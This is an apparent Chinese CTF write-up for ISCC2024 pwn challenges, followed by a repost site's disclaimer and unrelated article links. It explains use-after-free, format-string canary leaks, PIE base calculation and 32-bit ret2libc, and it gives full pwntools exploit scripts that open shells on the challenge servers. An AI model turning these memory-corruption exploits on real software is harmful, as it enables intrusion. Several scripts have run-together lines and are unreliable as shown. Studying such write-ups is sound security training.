ISCC2024--pwn

ISCC2024

练武题

chaos

考点:基础UAF

分析

1.首先将附件放入IDA查看主函数功能,进入菜单函数:
在这里插入图片描述

  1. 注意到选项5不太一样,跟进该功能模块的函数查看:
    联想截图_20240502214444.png
    联想截图_20240502214454.png

联想截图_20240502214723.png

  1. 分析得到该功能存在UAF漏洞,system(/bin/sh) 执行的前提是指针ptr指向的内容前四个字符是“Flag”,因此利用UAF漏洞将该堆块收回,接着填充内容为“Flag”即可获取shell,最后进入靶机输入 cat /flag.txt 获取flag。
exp
# 最基本的UAF,键入选项五,申请0x68【键入size=96】大小的堆块,输入“Flag”即可获取shell。
from pwn import *
io = remote('182.92.237.102',10010)
io.interactive()#  ISCC{751503af-4116-45a3-a43c-a06add4a9386}

easyshell(⭐)

考点:64位leak_fmt + PIE基地址跳转
坑点:后门函数不能填充起始地址【可能是因为堆栈不平衡】,使用 mov rdi /bin/sh 处地址即可。

分析
  1. 首先分析主要函数core_code函数代码如下,发现存在栈溢出漏洞和格式化字符串漏洞【需要输入flagis前缀来触发】:

联想截图_20240502221341.png
在这里插入图片描述

  1. 由于程序运行存在while循环,可以无限次输入,直到输入exit才会退出循环,执行 rbp+0x8 地址的内容。由于程序存在canary保护并且开启了PIE,因此可以利用fmt泄露canary的值和栈上某一函数的实际地址。

【由于PIE开启后,函数地址后12位字节不会变化,因此IDA里面查得函数地址后三位是不会变的。】
然后利用 程序基地址 = 该函数实际地址 - IDA里面对应该函数的后三位地址,进而得到基地址;而实际
后门函数地址 = 基地址 + IDA里面对应地址后三位,填充到返回地址。最后利用 exit 跳转到后门函数获取shell。
easyshell.png
分析程序栈结构得到所需canary偏移位 15,泄露函数【main+254】偏移是17,IDA对应地址为 0x1520。
在这里插入图片描述
在这里插入图片描述

exp
#  【开启PIE,低地址跳转】ret2text,
#  首先输入 flagis + %n$p 获取canary 和 main+254 实际地址,进而得到基地址,
#  加上后门函数的偏移得到真实地址。然后利用gets栈溢出覆盖返回地址为后门函数地址
# 【直接填充起始地址会出错,填充 mov rdi /bin/sh 处地址可以打通】,即可获得shell。from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('182.92.237.102',10011)
p1 = b'flagisa' + b'%15$p'
p2 = b'flagisa' + b'%17$p'
io.sendlineafter(b'>>',p1)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.sendlineafter(b'>>',p2)
io.recvuntil(b'0x')
main_254 = int(io.recv(12),16)
print(hex(main_254))
base = main_254 - 0x520
shell = 0x291 + base
print(hex(shell))
p2 = b'a'*0x38+p64(canary)+p64(0)+p64(shell)
io.sendlineafter(b'>>',p2)
io.sendlineafter(b'>>',b'exit')
io.interactive()	 
#  ISCC{b1e99cf8-d13f-4a99-a12e-3ca0b0716d1a}

Flag

考点:fmt + 32位ret2libc3
坑点:libc版本问题

分析

分析welcome函数,发现格式化字符串漏洞,可以泄露canary。back函数存在read栈溢出,打ret2libc_3泄露libc的基地址,然后在线搜索libc版本。下载并使用system函数和/bin/sh字符串地址,构造system(/bin/sh) 填充返回地址,获取shell。
联想截图_20240502224625.png
在这里插入图片描述

本地测试查看canary偏移量。
Flag1.png
Flag2.png

exp
#  格式化字符串泄漏canary,32位ret2libc3。注意libc版本问题
from pwn import *
io = remote('182.92.237.102',10012)
elf = ELF('./Flag')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got =  elf.got['puts']
main_addr = elf.sym['back']p1 = b'%19$p'
io.sendlineafter(b"what's the content?\n",p1)io.recvuntil(b'0x')
canary = int(io.recvline(),16)offset = 0x88pop_ebx = 0x8049022
p2 = b'a'*offset  + p32(canary) + 3*p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got)        
io.sendlineafter(b'Input:\n',p2)puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
libc_base =  puts_addr - libc.sym['puts']
sym = libc_base + libc.sym['system']
bin = libc_base + next(libc.search(b'/bin/sh'))payload2 = b'a'*offset  + p32(canary) + 3*p32(0) + p32(sym)  + p32(0) + p32(bin)
io.sendlineafter(b'Input:\n',payload2)io.interactive()#  ISCC{38a24130-0a34-490b-836b-0442c858e5aa}

shopping(⭐⭐)

参考ctfshow–pwn180【还没做…】,几乎一模一样。

分析

exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('182.92.237.102',10019)
elf = ELF('./shopping')
system_plt = elf.plt['system']
io.sendlineafter('Enter the password: \n',"I'm ready for shopping")def add(size,n,content=''):io.sendlineafter(b'Action:',b'1')io.sendlineafter(b'Item ID: ',str(size))io.sendlineafter(b'Quantity: ',str(n))if content == '':io.sendlineafter('Add gift message? (0/1): ','0')else:io.sendlineafter('Add gift message? (0/1): ','1')io.sendafter(b'Message: ',content)for i in range(12):add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)io.interactive()# ISCC{xdyxrI87xohgzADH6wp5Xh6uonw61xa6WfLr}
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote('pwn.challenge.ctf.show',28117)
elf = ELF('./pwn180')
system_plt = elf.plt['system']
io.sendlineafter('password:',"WTF Arena has a secret!")def add(size,n,content=''):io.sendlineafter('Action:','1')io.sendlineafter('Size:',str(size))io.sendlineafter('Pad blocks:',str(n))if content == '':io.sendlineafter('Content? (0/1):','0')else:io.sendlineafter('Content? (0/1):','1')io.sendafter('Input:',content)for i in range(12):add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
io.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload)io.interactive()

擂台题

great

考点:32位ret2libc_3

分析

首先根据IDA源码依次输入“yes”进入welcome函数 和“OK”进入great函数。在great函数发现栈溢出,直接打ret2libc_3即可,将第一次返回地址填充为great函数地址,这样第二次就不用一层一层进来了。
联想截图_20240502230138.png
联想截图_20240502230148.png
联想截图_20240502230213.png

exp
#  常规32位 ret2libc3
from pwn import *
from LibcSearcher import *
io = remote('182.92.237.102',10014)
elf = ELF('./great')
context(log_level = 'debug')
puts_plt = elf.plt['puts']
puts_got =  elf.got['puts']
main_addr = elf.sym['great']
io.sendlineafter(b'ISCC?\n',b'yes')
io.sendlineafter(b'great.\n',b'OK')payload1 = b'a'*112  + p32(puts_plt) + p32(main_addr) + p32(puts_got)        io.sendlineafter(b'Here it is!\n',payload1) 
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libc_base =  puts_addr - libc.dump('puts')
sym = libc_base + libc.dump('system')
bin = libc_base + libc.dump('str_bin_sh')payload2 = b'a'*112 + p32(sym) + p32(main_addr) + p32(bin)
io.sendlineafter(b'Here it is!\n',payload2) io.interactive()#  ISCC{1c2bac74-155f-4082-9300-807d5414da63}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/35229.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

沙姆镜头标定与重建

沙姆定律( Scheimpflug principle)则可以保证测量平面的物体能够清晰成像, 因此能够起到调整景深区域位置的作用。Scheimpflug 镜头就是根据沙姆定律所设计的一种特殊的镜头,通过机械结构使镜头与相机本体发生一定程度的偏转&…

一文介绍 Tapable 的特性和使用,助力理解 webpack 插件架构!

一、引言 众所周知,webpack 的 plugins 非常灵活,可以在编译的不同阶段注册事件回调,这个功能便是基于 Tapable 实现的。 Tapable 的使用步骤如下: 创建钩子实例,如 SyncHook、SyncLoopHook 钩子;调用订阅接口注册事…

【树状数组 队列】1505. 最多 K 次交换相邻数位后得到的最小整数

本文涉及知识点 树状数组 队列 LeetCode1505. 最多 K 次交换相邻数位后得到的最小整数 给你一个字符串 num 和一个整数 k 。其中,num 表示一个很大的整数,字符串中的每个字符依次对应整数上的各个 数位 。 你可以交换这个整数相邻数位的数字 最多 k 次…

在线epub阅读器epub;在线图书阅读器;专门为epub定制的阅读器;免费在线电子图书epub阅读器

背景:不记得某时某刻了,就是当时想要使用电脑阅读epub图书,也找了好些个在线epub阅读器,但总有一些不如意的地方,如某些功能需要会员之类的,突发临想的就想到自己开发一个,就此,一个…

Python笔记 文件的写,追加,备份操作

一、文件的写操作 案例演示: # 1.打开文件 f open(python.txt,w)# 2.文件写入 f.write(hello world)# 3.内容刷新 f.flush() 注意: 直接调用write,内容并为真正的写入文件,二十会积攒在程序的内存中,称之为缓冲区…

Android SurfaceFlinger——OpenGL ES初始化(十三)

上一篇文章我们对 OpenGL ES 相关知识有了一定的了解,并知道在使用 OpenGL ES 是需要先通过 eglGetDisplay() 方法获取 EGLDisplay 默认主屏幕句柄。这里就分析一下 eglGetDisplay() 中的 egl_init_drivers() 初始化 OpenGL ES 的对应流程。 一、OpenGL ES初始化 1、egl.cpp…

【Docker】Docker网络模式

1、概述 docker run创建Docker容器时,可以用–net选项指定容器的网络模式,Docker有以下4种网络模式:bridge模式:使--net bridge指定,默认设置;host模式:使--net host指定;none模式&…

前端技术栈学习:Vue2、Vue cli脚手架、ElementUI组件库、Axios

1 基本介绍 (1)Vue 是一个前端框架, 易于构建用户界面 (2)Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或项目整合 (3)支持和其它类库结合使用 (4&#…

期末复习题中的问题

一、编程中(包括函数)的问题 1. malloc 头文件是stdlib.h 二、第二次写复习题的不会的 三、程序填空 总结: 删除节点m >>>>要有一个指针来遍历找到这个m >>>> 用另一个指针指向这个指针的下一 个 >>&…

达梦(DM8)数据库备份与还原(逻辑备份)一

一、达梦数据库的逻辑备份分四种级别的导出(dexp)与导入(dimp)的备份 第一种是:数据库级:导出或导入数据库中所有的对象。主要参数是:FULL 第二种是:用户级别:导出或导…

小程序的生命周期使用方法和应用场景

小程序生命周期 初始化(App Launch) • 触发时机:小程序首次启动时。 • 主要事件:onLaunch。 • 功能与适用场景: • 全局数据初始化:设置应用的全局状态和变量。 • 登录状态检查:判断用户是…

FastAPI 表单数据

FastAPI 表单数据 FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,与 Python 3.6+ 类型提示一起使用。它是一个轻量级的框架,但功能强大,能够处理各种类型的请求数据,包括 JSON、表单数据和文件等。在本文中,我们将重点讨论如何在 FastAPI 中处理表单数据…

vue+go实现web端连接Linux终端

vuego实现web端连接Linux终端 实现效果 实现逻辑1——vue 依赖包 "xterm": "^5.3.0","xterm-addon-attach": "^0.9.0","xterm-addon-fit": "^0.8.0"样式和代码逻辑 <template><a-modalv-model:visib…

FileNotFoundError: Cannot find DGL C++ graphbolt library at ...

FileNotFoundError: Cannot find DGL C graphbolt library at ...-CSDN博客https://blog.csdn.net/weixin_44017989/article/details/137658749

k8s手撕架构图+详解

“如果您在解决类似问题时也遇到了困难&#xff0c;希望我的经验分享对您有所帮助。如果您有任何疑问或者想分享您的经历&#xff0c;欢迎在评论区留言&#xff0c;我们可以一起探讨解决方案。祝您在编程路上顺利前行&#xff0c;不断突破技术的难关&#xff0c;感谢您的阅读&a…

【LeetCode】一、数组相关(双指针算法 + 置换)

文章目录 1、算法复杂度1.1 时间复杂度1.2 空间复杂度 2、数组3、leetcode485&#xff1a;最大连续1的个数4、leetcode283&#xff1a;移动05、leetcode27&#xff1a;移除元素 1、算法复杂度 1.1 时间复杂度 算法的执行时间与输入值之间的关系&#xff08;看代码实际总行数的…

Angular 指令

Angular 指令是 Angular 框架中的一项核心功能&#xff0c;它允许开发人员扩展 HTML 的功能&#xff0c;并创建可复用的组件和行为。以下是一些常见的 Angular 指令&#xff1a; 1. 组件指令 (Component Directives) 组件指令是最常用的一种指令&#xff0c;用于创建可复用的 U…

NineData和华为云在一起!提供一站式智能数据库DevOps平台

以GuassDB数据库为底座 NineData和华为云一起 为企业提供 一站式智能数据库DevOps平台 帮助开发者 高效、安全地完成 数据库SQL审核 访问控制、敏感数据保护等 日常数据库相关开发任务 NineData 智能数据管理平台 NineData 作为新一代的云原生智能数据管理平台&#xf…

const data = this.info为什么修改data时this.info也跟着变?

const data this.info 这种情况是data和this.info指向了同一个对象&#xff0c;只是将 this.info 的引用赋值给了 data &#xff08;可以理解为指向同一个地址&#xff09;也就是说如果修改 data 对象的属性或内容&#xff0c;那么 this.info 也会反映出这些变化。 原始类型&…

Manjaro Linux系统简介和archlinux哲学

## Manjaro Linux系统简介 Manjaro Linux是一个基于Arch Linux的操作系统&#xff0c;以其用户友好性和滚动更新机制而受到广泛欢迎。它为用户提供了一个易于安装和使用的平台&#xff0c;同时保持了Linux系统的高度定制性和最新的软件特性。 ### Manjaro Linux与Arch Linux的…